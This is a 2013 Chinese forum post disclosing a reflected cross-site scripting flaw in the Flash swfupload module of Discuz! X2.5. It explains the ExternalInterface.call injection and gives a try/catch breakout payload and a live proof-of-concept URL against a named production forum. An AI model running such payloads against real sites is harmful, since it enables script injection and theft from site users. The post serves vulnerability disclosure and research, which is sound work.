灯火互联
管理员
管理员
  • 注册日期2011-07-27
  • 发帖数41778
  • QQ
  • 火币41290枚
  • 粉丝1086
  • 关注100
  • 终身成就奖
  • 最爱沙发
  • 忠实会员
  • 灌水天才奖
  • 贴图大师奖
  • 原创先锋奖
  • 特殊贡献奖
  • 宣传大使奖
  • 优秀斑竹奖
  • 社区明星
阅读:2875回复:0

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

楼主#
更多 发布于:2013-02-23 16:40
Discuz! X2.5某处Flash应用存在漏洞,可能导致跨站脚本攻击。
上回我们说

flash.external.Externalinterface.call($methodName, $parameter)
在浏览器中执行的是

try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如

flash.external.ExternalInterface.call("object."+$methodName, $parameter)
$methodName = a())}catch(e){alert(/xss/)}//
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。

try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }

这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。



漏洞文件:upload\static\image\common\swfupload.swf

原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf

http://bbs.open.qq.com/static/image/common/swfupload.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//

图片:20130223102703792.jpg





好多discuz x2.5的论坛,好想一个一个提交。

修复方案:

咦 你们官网的已经补丁了?补丁包里没有嘛。。。。

喜欢0 评分0
游客

返回顶部